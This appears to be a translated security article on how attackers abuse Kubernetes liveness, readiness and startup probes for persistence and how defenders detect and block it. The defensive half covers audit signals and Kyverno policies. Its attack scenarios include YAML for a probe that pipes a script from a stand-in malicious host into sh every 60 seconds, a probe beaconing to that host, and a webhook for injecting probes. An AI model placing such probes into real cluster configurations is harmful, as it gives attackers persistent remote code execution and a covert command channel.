Persistent Attack and Defense Monitoring and Protection with Kubernetes Probes

Use Kubernetes probes for persistent attack and defense observation and protection

1. Introduction

As the de facto standard for modern container orchestration platforms, Kubernetes provides a powerful probe mechanism to ensure the reliability and availability of containerized applications. These probes (Probes) are originally intended for health checks to help Kubernetes automatically restart failed containers and not send traffic to containers that are not ready to receive traffic, thus greatly improving the stability and self-healing capabilities of the application. However, like many security mechanisms, the design characteristics of probes can also be abused by attackers and become tools to achieve persistence. This article will delve into how Kubernetes probes work, analyze how they can be used by attackers to achieve persistence, and provide corresponding defense strategies and best practices.

2. Overview of Kubernetes probes

1. Probe type

Kubernetes defines three main types of probes, each with its specific purpose and triggering conditions:

(1) Liveness Probe

Liveness probes are used to determine whether a container is running. If the liveness probe fails, Kubernetes will consider the container unhealthy and attempt to restart the container. This is useful for detecting suspended animation within an application, for example if a web server stops responding to requests. The main purpose of the liveness probe is to ensure that the application is running. If the application is stuck due to a deadlock or other reasons, an automatic restart may restore the application.

(2) Readiness Probe

Readiness probes are used to determine whether a container is ready to receive network traffic. If the readiness probe fails, Kubernetes will stop sending traffic to the container to ensure that traffic is not sent to a container that is not ready yet. This helps avoid sending traffic to applications that are starting up or that haven't yet loaded data. The main application scenario of the readiness probe is to control applications that need to load a large amount of data or configuration files. The request will not be routed to the container until the application is ready to accept traffic.

(3) Startup Probe

Launch probes are a new feature introduced in Kubernetes version 1.16 and are used to determine whether a container has been successfully started. Unlike the liveness probe, the startup probe is only executed when the container starts. Once the startup probe is successful, the readiness and survival probes will take over subsequent checks. The main application scenario of startup probes is for applications with long startup times to ensure that they are not misjudged as failed due to slow startup. When a startup probe is configured, other probes will be disabled first. Other probes will not continue until the startup probe is successful, preventing the surviving probe from restarting the application indefinitely.

2. Probe inspection type

Each probe can be configured to perform one of the following types of checks:

(1) HTTP GET request

Performs an HTTP GET request to the specified port and path. If the returned status code is within the successful range (default is 200-399), the check is considered successful. This approach is suitable for applications that provide an HTTP interface.

(2) TCP Socket check

Attempts to establish a TCP connection to the specified port of the container. If the connection is successfully established, the check is considered successful. This approach is suitable for TCP-based services, but does not necessarily provide an HTTP interface.

(3) Execute commands in the container

Execute the specified command within the container. If the exit status code is 0 after the command is executed, the check is considered successful. This approach provides the greatest flexibility to implement custom health check logic.

3. Probe configuration parameters

The configuration of a probe includes several parameters that determine the behavior and triggering conditions of the probe:

• initialDelaySeconds: How long to wait before starting the probe check after the container is started, in seconds.

• periodSeconds: The time interval for performing probe checks, in seconds, the default is 10 seconds.

• timeoutSeconds: The timeout time of the probe check, in seconds, the default is 1 second.

• successThreshold: After the probe check is successful, the minimum number of consecutive successes is required before it is considered successful. The default is 1 time.

• failureThreshold: After the probe check fails, the maximum number of consecutive failures is allowed before it is considered a failure. The default is 3 times. For survival probes, the container will be restarted when the failure threshold is reached; for readiness probes, the container will be considered not ready after the failure threshold is reached.

3. How probes are abused

Although probes are designed to improve application reliability and availability, attackers can exploit the probe's features and configuration parameters to achieve persistence. Here are the main ways probes can be abused:

1. Scheduling rhythm as a timer

probeperiodSecondsThe parameters determine the execution cycle of the probe. An attacker can use this feature to turn the probe into a timer to perform malicious operations on a regular basis:

• By setting a shorterperiodSeconds, the attacker can achieve frequent scheduled execution, such as executing a malicious operation every 60 seconds.

• By setting a longerinitialDelaySeconds, the attacker can delay the first execution of the probe and avoid detection and monitoring in the early stages of going online.

2. Failure strategy as a self-resurrection or stealth mechanism

The failure handling mechanism of the probe provides the attacker with the ability to achieve self-resurrection or stealth:

• Failure strategy for survival probes: Failure of the survival probe will restart the container. An attacker can achieve periodic restart of the container by constructing a survival probe failure under specific conditions. This mechanism can be used to "wash out" short-lived traces in the container (such as malicious processes or temporary files in memory), while maintaining the malicious state through persistent volumes or external storage, achieving the effect of "unkillable/deleting traces".

• Failure strategy for readiness probes: Failure of the readiness probe will not restart the container, it will only stop sending traffic to the container. Attackers can take advantage of this feature to allow the container to continue running in the background but not receive normal traffic, thereby achieving covert malicious activities.

• Failure strategy for starting probes: The startup probe will block the other two types of probes before completing. Attackers can use the ultra-long startup probe delay to cause suspicious behavior to appear "after stable operation for a period of time", staggering the change window and monitoring key period.

3. Actuating medium as contact point

The probe's three inspection methods provide attackers with different execution mediums, each with its own specific abuse scenarios:

• HTTP GET: An attacker can usehttpGet.hostPoint to the external domain name or IP address to form a stable "command and control (C2)" channel or heartbeat mechanism. By controlling the status code of the return packet, an attacker can remotely control the success or failure of the probe, thereby driving container restarts or traffic switching.

• TCP Socket: An attacker can leverage a TCP probe to make periodic connection attempts to a single external host or port, which can be used as a port probe or "survival beacon" to indicate that malicious code is still running and able to receive instructions.

• Exec: This is the riskiest form and allows an attacker to turn the health check into a "periodic task executor". If the container also has high permissions or sensitive mounts, it has powerful interference capabilities. For example, an attacker can configure the Exec probe to periodically download malicious code, steal data, or establish reverse connections.

4. Persistence Scenario Analysis

Based on the above abuse methods, attackers can construct a variety of persistence scenarios. The following is an analysis of several typical scenarios:

1. Pseudo Cron tasks

An attacker can configure a liveness probe or a readiness probe, combined with a shorterperiodSecondsand Exec or external HTTP targets to achieve punctual background behavior, similar to Cron tasks in Linux systems:

livenessProbe:
  exec:
    command:
    - /bin/sh
    - -c
    - "curl -s <http://malicious-server.com/payload.sh> | sh"
  initialDelaySeconds: 30
  periodSeconds: 60

This configuration will cause the container to download and execute scripts from the malicious server every 60 seconds, achieving persistent malicious behavior.

2. Self-resurrection and cleaning marks

An attacker can construct a liveness probe that is bound to fail, forcing the container to restart periodically while saving malicious state to a persistent volume or external storage:

livenessProbe:
  exec:
    command:
    - /bin/sh
    - -c
    - "test ! -f /tmp/malicious-flag"
  initialDelaySeconds: 10
  periodSeconds: 30
  failureThreshold: 1

This configuration will cause the container to detect/tmp/malicious-flagFails when the file does not exist, triggering a restart. An attacker can create this file when the container starts and delete it under certain conditions, triggering a restart. In this way, the attacker can achieve an "unkillable" effect and at the same time "wash out" the short-lived traces in the container through frequent restarts.

3. Covert heartbeat communication

Attackers can point HTTP or TCP probes to the external network and use the rationality of "health check" to reduce the sensitivity of traffic auditing:

readinessProbe:
  httpGet:
    path: /health
    port: 80
    host: malicious-server.com
  initialDelaySeconds: 10
  periodSeconds: 60

This configuration causes the container to send an HTTP request to the malicious server every 60 seconds as a heartbeat signal. Since this is a normal health check behavior of Kubernetes, it may be ignored by security monitoring.

4. Delay latency

An attacker can configure an extremely long startup probe delay so that suspicious behavior does not appear until "it has been running stably for a period of time":

startupProbe:
  httpGet:
    path: /health
    port: 8080
  failureThreshold: 30
  periodSeconds: 10

This configuration will cause the startup probe to continue checking for 300 seconds after the container starts (30 failures × 10 seconds interval) until it succeeds. During this time, other probes are disabled, and an attacker can use this window to perform malicious actions without triggering checks by the liveness or readiness probes.

5. Templated diffusion

Attackers can inject probe templates through Admission Webhook or Operator to automatically inject malicious probe configurations into newly created Pods to achieve horizontal diffusion:

apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: inject-malicious-probes
webhooks:
- name: inject-malicious-probes.example.com
  rules:
  - apiGroups: [""]
    apiVersions: ["v1"]
    operations: ["CREATE"]
    resources: ["pods"]
  failurePolicy: Fail
  sideEffects: None
  admissionReviewVersions: ["v1"]
  clientConfig:
    service:
      name: webhook-service
      namespace: default
      path: "/mutate"

This configuration automatically injects malicious probes when new Pods are created, allowing malicious behavior to persist across namespaces.

5. Signals that the blue team can catch

Defenders can detect signs of probe abuse through a variety of channels. Here are the key detection signals:

1. Configuration interface signals (API audit/list comparison)

• Contains any.probe.execPod configuration, specifically the Exec probe that executes suspicious commands.

• httpGet.hostHTTP probe pointing to a non-empty and non-intranet/non-cluster domain name.

• Extreme parameter configuration:periodSecondsless than 10 or greater than 300;timeoutSecondsgreater than 30;failureThresholdGreater than 10 or close to the maximum value of 2147483647.

• "Template-identical" probe configurations appear in the same namespace and are suspected to be automatically injected.

2. Running surface signals (node/network/log)

• The User-Agent appears stably on the exit side askube-probe/*Outreach requests, targeting non-common domain names/IPs.

• The Pod restart count increases abnormally, but the readiness is not ready for a long time or fluctuates frequently.

• The "Liveness/Readiness probe failed" ratio in kubelet events is abnormal.

• Strictly spaced event beats appear within the container, indicating that it may be used as a timer.

3. Asset signals

• The sudden appearance or modification of DaemonSet/Operator/Webhook is related to the same period of probe behavior.

• New persistent volume declaration or configuration mapping, possibly used with probes to save state.

• Abnormal service account or role binding may be used to expand the scope of the probe's permissions.

6. Interception and baseline that can be implemented immediately

To defend against probe misuse, organizations can take the following specific measures:

1. Admission strategy (Kyverno example)

(1) Do not use exec in probes

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: no-exec-in-probes
spec:
  validationFailureAction: enforce
  background: true
  rules:
  - name: no-exec-in-probes
    match:
      resources:
        kinds: ["Pod"]
    validate:
      message: "禁止在 liveness/readiness/startup 探针中使用 exec。"
      pattern:
        spec:
          containers:
          - =(livenessProbe):
              X(exec): "null"
            =(readinessProbe):
              X(exec): "null"
            =(startupProbe):
              X(exec): "null"

(2) Restrict the hosts of HTTP probes

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-http-host
spec:
  validationFailureAction: enforce
  background: true
  rules:
  - name: restrict-http-host
    match:
      resources:
        kinds: ["Pod"]
    validate:
      message: "探针 httpGet.host 仅允许为空、本地或集群域。"
      deny:
        conditions:
        - key: "{{ request.object.spec.containers[].livenessProbe.httpGet.host || '' }}"
          operator: NotMatches
          value: "^$|^127\\\\.0\\\\.0\\\\.1$|\\\\.cluster\\\\.local$"

(3) Limit probe parameter boundaries

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: probe-params-bounds
spec:
  validationFailureAction: enforce
  background: true
  rules:
  - name: probe-params-bounds
    match:
      resources:
        kinds: ["Pod"]
    validate:
      message: "探针参数越界：period 10-300s, timeout <=30s, failureThreshold <=10。"
      deny:
        conditions:
        - key: "{{ request.object.spec.containers[].livenessProbe.periodSeconds || 10 }}"
          operator: LessThan
          value: 10
        - key: "{{ request.object.spec.containers[].livenessProbe.periodSeconds || 10 }}"
          operator: GreaterThan
          value: 300
        - key: "{{ request.object.spec.containers[].livenessProbe.timeoutSeconds || 1 }}"
          operator: GreaterThan
          value: 30
        - key: "{{ request.object.spec.containers[].livenessProbe.failureThreshold || 3 }}"
          operator: GreaterThan
          value: 10

2. Access strategy (Gatekeeper/OPA direction)

The same idea can be used to write ConstraintTemplate in Rego: reject probe.exec, limit httpGet.host and parameter range. It is recommended to extract "whitelist domain/network segment" into Constraint parameters to facilitate reuse in various environments.

3. Network and Border Control

• On egress proxy/gateway pair User-Agent iskube-probe/*Create a whitelist domain for requests, and all requests that are not in the whitelist will be blocked or alerted.

• The default NetworkPolicy is set to "deny outbound", which allows access to service-dependent domain names/IPs on demand; the health check uses service grids/local probes and tries not to go through the external network.

• Use the network policy function of the CNI network plug-in to limit communication between Pods, especially external communication.

4. Operation and monitoring

• Integrate kubelet events and container restart counts into alarms: regularized thresholds for "surge in the number of restarts in a short period of time" and "surge in Probe Failed ratio".

• Maintain the probe writing baseline of the "Platform Template", and new workloads that deviate from the template will immediately enter change review.

• Use monitoring tools such as Prometheus to collect probe-related indicators and set reasonable alarm rules.

5. Platform constraints and education

• The platform turns off the exec probe by default; the platform team provides a "read-only binary" health check program for calling.

• During the code review/CI phase, scan *.yaml for abnormal probe configurations and move left to find out.

• Conduct security training for developers to increase their awareness of probe security risks.

7. Persistence "combination punch" in series with probes

Probe abuse usually does not exist in isolation; attackers will combine it with other techniques to form more complex persistence strategies:

1. Admission Webhook/Operator injection

The above probe pattern is automatically injected into new Pods to form lateral diffusion. This technique can allow malicious behavior to spread widely within the cluster. Even if some Pods are discovered and removed, new Pods will still be injected with malicious probes.

2. DaemonSet full node rollout

Push "periodic heartbeat/self-resurrection" to each node to enhance survivability. Through DaemonSet, an attacker can ensure that there is a Pod running a malicious probe on each node. Even if some nodes are isolated or restarted, the malicious behavior can still persist.

3. Work with persistent volumes/external storage

Even if the container is restarted frequently, the state still exists across restarts, forming true "persistence". An attacker can store malicious code, configuration or data in a persistent volume or external storage, and periodically access or update it through probes to achieve persistent malicious behavior.

4. Combined with RBAC backdoor

By creating high-privilege service accounts and role bindings, the scope of permissions of the probe is expanded, allowing it to access more cluster resources or perform more dangerous operations. For example, a probe may be configured to periodically create new Pods or modify existing resources, enabling more complex attack chains.

8. Defense means

Kubernetes probes essentially provide a three-piece set of "metronome + failure handling + execution medium". As long as it is abused, it can achieve quite hidden and resilient "persistence". From a defensive perspective, the key is:

1. Disable or minimize the exec probe;

1. Set boundaries and templated baselines for parameters;

1. Strictly control the outgoing network destination and create a whitelist/alarm for kube-probe traffic;

1. Incorporate "probe anomalies" into daily observability and auditing.

The key to preventing probe abuse is defense in depth: from access control to network isolation, from monitoring alarms to audit logs, multi-layered security measures can greatly reduce the risk of probe abuse. At the same time, the popularization of security awareness and best practices is also an important part of defense. Only when the entire organization recognizes probe security risks and takes corresponding measures can it truly and effectively prevent probes from being abused.

In future cloud-native environments, as Kubernetes becomes more popular and more complex, the security issues of mechanisms such as probes will become more important. Organizations need to continue to pay attention to the latest security threats and defense technologies, and constantly update and improve their security policies and measures to cope with ever-changing security challenges.